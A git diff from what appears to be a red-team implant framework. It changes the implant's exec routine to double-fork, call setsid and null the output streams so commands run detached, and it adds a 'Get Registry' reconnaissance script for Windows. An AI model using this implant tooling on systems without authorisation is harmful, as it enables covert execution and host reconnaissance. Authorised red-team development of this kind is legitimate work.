diff --git a/implants/lib/eldritch/src/sys/exec_impl.rs b/implants/lib/eldritch/src/sys/exec_impl.rs index 1071bf3d7..b44b4057f 100644 --- a/implants/lib/eldritch/src/sys/exec_impl.rs +++ b/implants/lib/eldritch/src/sys/exec_impl.rs @@ -1,20 +1,18 @@ use super::super::insert_dict_kv; use super::CommandOutput; use anyhow::{Context, Result}; -#[cfg(any(target_os = "linux", target_os = "macos", target_os = "freebsd"))] -use nix::{ - sys::wait::waitpid, - unistd::{fork, ForkResult}, -}; use starlark::{ collections::SmallMap, const_frozen_string, values::{dict::Dict, Heap}, }; -#[cfg(any(target_os = "linux", target_os = "macos", target_os = "freebsd"))] -use std::process::exit; use std::process::Command; -// https://stackoverflow.com/questions/62978157/rust-how-to-spawn-child-process-that-continues-to-live-after-parent-receives-si#:~:text=You%20need%20to%20double%2Dfork,is%20not%20related%20to%20rust.&text=You%20must%20not%20forget%20to,will%20become%20a%20zombie%20process. +#[cfg(any(target_os = "linux", target_os = "macos", target_os = "freebsd"))] +use { + nix::unistd::setsid, + nix::unistd::{fork, ForkResult}, + std::process::{exit, Stdio}, +}; pub fn exec( starlark_heap: &Heap, @@ -57,28 +55,35 @@ fn handle_exec(path: String, args: Vec, disown: Option) -> Result< #[cfg(any(target_os = "linux", target_os = "macos", target_os = "freebsd"))] match unsafe { fork()? } { ForkResult::Parent { child } => { - // Wait for intermediate process to exit. - waitpid(Some(child), None)?; + if child.as_raw() < 0 { + return Err(anyhow::anyhow!("Pid was negative. ERR".to_string())); + } Ok(CommandOutput { stdout: "".to_string(), stderr: "".to_string(), status: 0, }) } - - ForkResult::Child => match unsafe { fork()? } { - ForkResult::Parent { child } => { - if child.as_raw() < 0 { - return Err(anyhow::anyhow!("Pid was negative. ERR".to_string())); + ForkResult::Child => { + setsid()?; + match unsafe { fork()? } { + ForkResult::Parent { child } => { + if child.as_raw() < 0 { + return Err(anyhow::anyhow!("Pid was negative. ERR".to_string())); + } + exit(0); + } + ForkResult::Child => { + let _res = Command::new(path) + .args(args) + .stdin(Stdio::null()) + .stdout(Stdio::null()) + .stderr(Stdio::null()) + .spawn()?; + exit(0); } - exit(0) - } - - ForkResult::Child => { - let _res = Command::new(path).args(args).output()?; - exit(0) } - }, + } } } } @@ -150,11 +155,6 @@ mod tests { Ok(()) } - // This is a manual test: - // Example results: - // 42284 pts/0 S 0:00 /workspaces/realm/implants/target/debug/deps/eldritch-a23fc08ee1443dc3 test_sys_exec_disown_linux --nocapture - // 42285 pts/0 S 0:00 \_ /bin/sh -c sleep 600 - // 42286 pts/0 S 0:00 \_ sleep 600 #[test] fn test_sys_exec_disown_linux() -> anyhow::Result<()> { if cfg!(target_os = "linux") @@ -171,10 +171,7 @@ mod tests { let _res = handle_exec( String::from("/bin/sh"), - vec![ - String::from("-c"), - format!("touch {}", path.clone()), - ], + vec![String::from("-c"), format!("touch {}", path.clone())], Some(true), )?; thread::sleep(time::Duration::from_secs(2)); diff --git a/tavern/tomes/get_registry/main.eldritch b/tavern/tomes/get_registry/main.eldritch new file mode 100644 index 000000000..0bfd13cb1 --- /dev/null +++ b/tavern/tomes/get_registry/main.eldritch @@ -0,0 +1,15 @@ +def pad_key(key, max_len): + res = key+" "*(max_len-len(key)) + return res + +def get_registry(hive, path): + res = sys.get_reg(hive, path) + max_len = max([ len(i) for i in res.keys()]) + for k in res: + v = res[k] + pk = pad_key(k,max_len) + print(f"{pk} : {v}") + +get_registry(input_params['hive'], input_params['path']) +print() + diff --git a/tavern/tomes/get_registry/metadata.yml b/tavern/tomes/get_registry/metadata.yml new file mode 100644 index 000000000..525c6b5c9 --- /dev/null +++ b/tavern/tomes/get_registry/metadata.yml @@ -0,0 +1,14 @@ +name: Get Registry +description: List the subkeys and their values at a provided hive and path. +author: hulto +support_model: FIRST_PARTY +tactic: RECON +paramdefs: +- name: hive + type: string + label: Registry hive + placeholder: "HKEY_LOCAL_MACHINE" +- name: path + type: string + label: Registry key path + placeholder: "SOFTWARE\\Microsoft\\Windows\\CurrentVersion" # Single backslash can be used too but you may encounter issues if you specify "\x64" as that's hex.